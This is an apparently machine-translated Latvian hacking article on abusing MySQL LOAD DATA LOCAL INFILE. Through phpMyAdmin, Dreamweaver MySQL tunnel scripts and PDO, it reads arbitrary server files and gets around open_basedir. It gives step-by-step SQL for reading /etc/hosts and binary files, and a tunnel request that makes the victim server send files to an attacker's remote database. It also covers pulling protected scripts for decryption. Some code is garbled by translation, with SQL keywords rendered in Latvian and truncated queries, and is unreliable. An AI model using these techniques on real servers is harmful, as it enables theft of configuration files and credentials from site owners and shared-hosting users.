Ja savienojums tiek izveidots, izmantojot mysqli_real_connect, tad, izmantojot mysqli_options, mēs varam gan iespējot, gan atspējot LOCAL atbalstu. Turklāt šajā paplašinājumā ir pieejama funkcija mysqli_set_local_infile_handler, kas ļauj reģistrēt atzvanīšanas funkciju, lai apstrādātu to failu saturu, kurus nolasa priekšraksts LOAD DATA LOCAL INFILE.

Failu lasīšana

Uzmanīgais lasītājs droši vien jau ir uzminējis, ka, ja mums ir konts phpMyAdmin, tad mēs varam lasīt patvaļīgus failus bez FILE privilēģijām un pat apiet open_basedir ierobežojumus. Galu galā ļoti bieži gan klients (šajā gadījumā phpMyAdmin), gan MySQL dēmons atrodas vienā un tajā pašā mašīnā. Neskatoties uz MySQL servera drošības politikas ierobežojumiem, mēs varam izmantot to, ka šī politika neattiecas uz klientu un joprojām nolasīt failus no sistēmas, ievietojot tos datu bāzē.

Algoritms ir vienkāršs. Pietiek ar šādu SQL vaicājumu izpildi:

  1. Izveidojam tabulu, kurā ierakstīsim failu saturu: CREATE TABLE temp(content text);
  2. Faila saturu nosūtām uz izveidoto tabulu: LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED AR "eof";

Voila. Faila /etc/hosts saturs tagad ir pagaidu tabulā. Vai nepieciešams lasīt bināros failus? Nekādu problēmu. Ja pirmajā solī mēs izveidojam šādu tabulu:

IZVEIDOT TABULU "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

tad tajā varēs ielādēt bināros failus. Tiesa, failu beigās tiks pievienoti papildu biti, taču tos var noņemt jebkurā hex redaktorā. Tādā veidā jūs varat lejupielādēt no servera skriptus, kurus aizsargā IonCube/Zend/TrueCrypt/NuSphere, un tos atšifrēt.

Vēl viens piemērs tam, kā varat izmantot LOAD DATA LOCAL INFILE, ir noskaidrot ceļu uz Apache konfigurāciju. Tas tiek darīts šādi:

  1. Pirmkārt, mēs noskaidrojam ceļu uz bināro failu; lai to izdarītu, izlasiet /proc/self/cmdline, izmantojot iepriekš aprakstīto metodi.
  2. Un tad mēs tieši lasām bināro failu, kurā mēs meklējam HTTPD_ROOT/SERVER_CONFIG_FILE.


Ir skaidrs, ka šajā situācijā phpMyAdmin skripti spēlē klienta lomu, lai izveidotu savienojumu ar datu bāzi. Un phpMyAdmin vietā varat izmantot jebkuru citu tīmekļa saskarni, lai strādātu ar MySQL.

Piemēram, varat izmantot skriptus, lai dublētu un atjaunotu datubāzi. 2007. gadā kāds franču hakeris ar segvārdu acidroot publicēja ekspluatāciju, pamatojoties uz šo piezīmi un ļāva nolasīt failus no phpBB administratora paneļa.<= 2.0.22.

Tunelis ir ērts. Tunelis ir nedrošs

Instalējot sarežģītas tīmekļa lietojumprogrammas, bieži vien ir nepieciešama tieša piekļuve datubāzei, piemēram, sākotnējai konfigurācijai un skriptu pielāgošanai. Tāpēc dažos gadījumos ieteicams uz servera instalēt vienkāršu skriptu - tā saukto MySQL tuneli, kas ļauj veikt datu bāzes vaicājumus, izmantojot ērtu klientu, nevis smago phpMyAdmin.

Ir diezgan daudz tuneļu darbam ar datu bāzi, taču tie visi nav īpaši izplatīti. Iespējams, viens no slavenākajiem ir Macromedia Dream Weaver Server skripti. Varat apskatīt šī skripta pirmkodu.

Galvenā atšķirība starp MySQL Tunnel un phpMyAdmin ir nepieciešamība ievadīt ne tikai datu bāzes pieteikumvārdu un paroli, bet arī resursdatoru, ar kuru izveidot savienojumu. Tajā pašā laikā tuneļi bieži tiek atstāti aktīvi, katram gadījumam, jūs nekad nezināt, kas vēl ir jāpielāgo. Šķiet, ka jūs varat tos izmantot tikai tad, ja jums ir konts datu bāzē - tad kāpēc baidīties? Īsāk sakot, šķiet, ka tunelis nerada īpašus drošības draudus tīmekļa serverim. Bet patiesībā ne viss ir tik labi, kā šķiet no pirmā acu uzmetiena.

Apsveriet šādu situāciju. Ļaujiet serverim A izveidot vietni site.com ar izveidoto tuneli http://site.com/_mmServerScripts/MMHTTPDB.php. Pieņemsim, ka serverī A ir iespējams izmantot LOAD DATA LOCAL (kā minēts iepriekš, tas ir iespējams, piemēram, ar noklusējuma iestatījumiem). Šajā gadījumā varam paņemt attālo MySQL serveri, kura datu bāzēm var piekļūt no jebkuras vietas un kas ļauj izmantot arī LOCAL, un pieslēgties šim serverim, izmantojot tuneli. Dati savienojuma izveidei ar attālo MySQL serveri:

DB resursdators: xx.xx.xx.xxx DB nosaukums: name_remote_db DB lietotājs: our_user DB caurlaide: our_pass

Šajā situācijā serveris A spēlēs klienta lomu, un tāpēc mēs varam nosūtīt failus no tā resursdatora uz attālo datu bāzi vai, citiem vārdiem sakot, lasīt failus. Ar šādu vienkāršu vaicājumu:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_t. eof__" ESCAP ED BY " " RINDAS, KAS PĀRTRAUKTA "__eof__"

Patiesībā šī ievainojamība ir bīstamāka par parasto failu lasīšanu: galu galā tā ļauj lasīt serverī A instalēto skriptu konfigurācijas failus. Caur to pašu tuneli jau var iegūt tiešu piekļuvi datu bāzei, kas pārvalda šos skriptus. Iepriekš aprakstīto paņēmienu muskuļu tuneļu izmantošanai var nedaudz vispārināt un izmantot, izmantojot unserialize ievainojamības.


Klients-serveris

Lai labāk izprastu LOAD DATA iespējas, jāatceras, ka MySQL DBVS izmanto tradicionālo klienta-servera arhitektūru. Strādājot ar MySQL, mēs faktiski strādājam ar divām programmām:

  • Datu bāzes servera programma, kas atrodas datorā, kurā tiek glabāta datu bāze. Mysqld dēmons klausās klientu pieprasījumus tīklā un piekļūst datu bāzes saturam, nodrošinot klientu pieprasīto informāciju. Ja mysqld tiek startēts ar opciju --local-infile=0, tad LOCAL nedarbosies;
  • Klienta programma izveido savienojumu ar serveri un pārsūta pieprasījumus uz serveri. MySQL DBVS izplatīšanā ir iekļautas vairākas klientu programmas: MySQL konsoles klients (visbiežāk izmantotais), kā arī mysqldump, mysqladmin, mysqlshow, mysqlimport utt. Un, ja nepieciešams, jūs pat varat izveidot savu klienta programmu, pamatojoties uz standarta libmysql klienta bibliotēku, kas tiek piegādāta kopā ar MySQL DBVS.

Ja, izmantojot standarta MySQL klientu, nevarat izmantot LOAD DATA LOCAL priekšrakstu, izmantojiet slēdzi --local-infile:

Mysql --local-infile sampdb mysql LOAD DATA LOCAL INFILE "member.txt" TABLE dalībnieks;

Vai arī norādiet klienta opciju /my.cnf failā:

Local-infile=1

Ir svarīgi atzīmēt, ka pēc noklusējuma visi MySQL klienti un bibliotēkas ir apkopotas ar opciju --enable-local-infile, lai nodrošinātu saderību ar MySQL 3.23.48 un vecākām versijām, tāpēc standarta klientiem parasti ir pieejams LOAD DATA LOCAL. Tomēr komandas uz MySQL serveri galvenokārt tiek sūtītas nevis no konsoles, bet gan no skriptiem, tāpēc tīmekļa izstrādes valodām ir arī klienti darbam ar datu bāzi, kuru funkcionalitāte var atšķirties no standarta MySQL klienta.

Protams, šī LOAD DATA priekšraksta funkcija var apdraudēt sistēmas drošību, un tāpēc, sākot ar MySQL 3.23.49 un MySQL 4.0.2 (4.0.13 Win), opcija LOCAL darbosies tikai tad, ja abi klienti un serveris to iespējo.

apiet open_basedir ierobežojumus

Izmantojot LOAD DATA diezgan bieži, varat apiet open_basedir ierobežojumus. Tas var būt noderīgi, ja, piemēram, mums ir piekļuve viena lietotāja direktorijam dalītā mitināšanā, bet mēs vēlamies lasīt skriptus no cita lietotāja mājas direktorija. Pēc tam instalējiet šo skriptu

1)); $e=$pdo->exec("IELĀDĒJIET DATU LOKĀLO INFILI "./ceļš/uz/failu" TABULAS PĀRBAUDES LAUKOS, KAS BEIDZAS AR "__eof__", IZBĒGTS "" RINDAS, KAS BEIGTAS AR "__eof__""); $pdo = null; ?>

Secinājums

Interesanti, ka aprakstītā LOAD DATA operatora spēja ir zināma jau vismaz desmit gadus. Pieminējumu par to var atrast, piemēram, biļetē [#15408] (Drošais režīms / MySQL Vuln 2002-02-06), un pēc tam līdzīgi jautājumi atkārtoti parādījās vietnē bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Uz ko izstrādātāji burtiski atbildēja šādi:

[aizsargāts ar e-pastu] Tā nav kļūda, tā ir funkcija :)

Vai arī viņi piešķīra biļeti "Statuss: netiks labots". Vai arī tie aprobežojās ar ielāpiem, kas gandrīz neko neatrisināja. Biļetes par šo tēmu atkal radās. Tāpēc norādītā metode, kā apiet open_basedir, joprojām darbojas diezgan lielā skaitā serveru. Taču līdz ar jaunā mysqlnd draivera parādīšanos, šķiet, tika pieņemts lēmums veikt būtiskas izmaiņas: ar noklusējuma instalācijām šis operators tagad netiks izpildīts vispār [#54158] [#55737]. Cerēsim, ka tuvākajā nākotnē izstrādātāji sakārtos lietas šajā jautājumā.